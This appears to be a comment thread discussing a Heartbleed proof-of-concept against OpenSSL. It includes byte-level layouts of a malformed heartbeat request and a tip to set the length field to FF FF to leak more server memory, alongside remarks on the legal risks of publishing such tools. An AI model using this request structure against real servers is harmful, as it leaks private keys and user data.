43 points · by davis_m · 12y ago · 23 comments
Many people have a vague understanding of how bad it is to lose a private key that is used to sign SSL traffic, but showing that one is able to hijack sessions en masse makes this vulnerability much easier to wrap our heads around.
Don't be idiots out there.
So if you want to maximize the data extracted with each connection, you should send FF FF for length, instead of 0x0302 bytes as its requesting now (if n2s is for network byte order to short).
0x18 TLS content type: heartbeat [*]
0x03 0x02 protocol version: TLS 1.1 [RFC 4346, section A.1]
0x01 message type: heartbeat request [RFC 6520, section 3]
0x40 0x00 payload length: 16384 bytes [RFC 6520, section 4]
This should be followed by a payload of that length, but if it isn't (as in the PoC) the vulnerable versions of OpenSSL will then carve it out of the heap to form the response packet - this is what leads to the data leakage.[*] see https://www.iana.org/assignments/tls-parameters/tls-paramete...
0x18 TLS content type: heartbeat [*]
0x03 0x02 protocol version: TLS 1.1 [RFC 4346, section A.1]
0x00 0x03 content length: 3 bytes [RFC 4346, section A.1]
0x01 message type: heartbeat request [RFC 6520, section 3]
0x40 0x00 payload length: 16384 bytes [RFC 6520, section 4]It's possible this has been tuned to avoid some interference regarding that sort of thing.
I wouldn't convict you, but if someone used this tool in a breach that was embarrassing enough to the right person, I don't think a prosecutor would have a very hard time convincing a judge that you were an evil hacker writing evil hacker tools.
(but of course courts have sent people to jail for much less...)
I respect the author for wanting to be a part of the community contributing code related to this event but some self-preservation might be in order...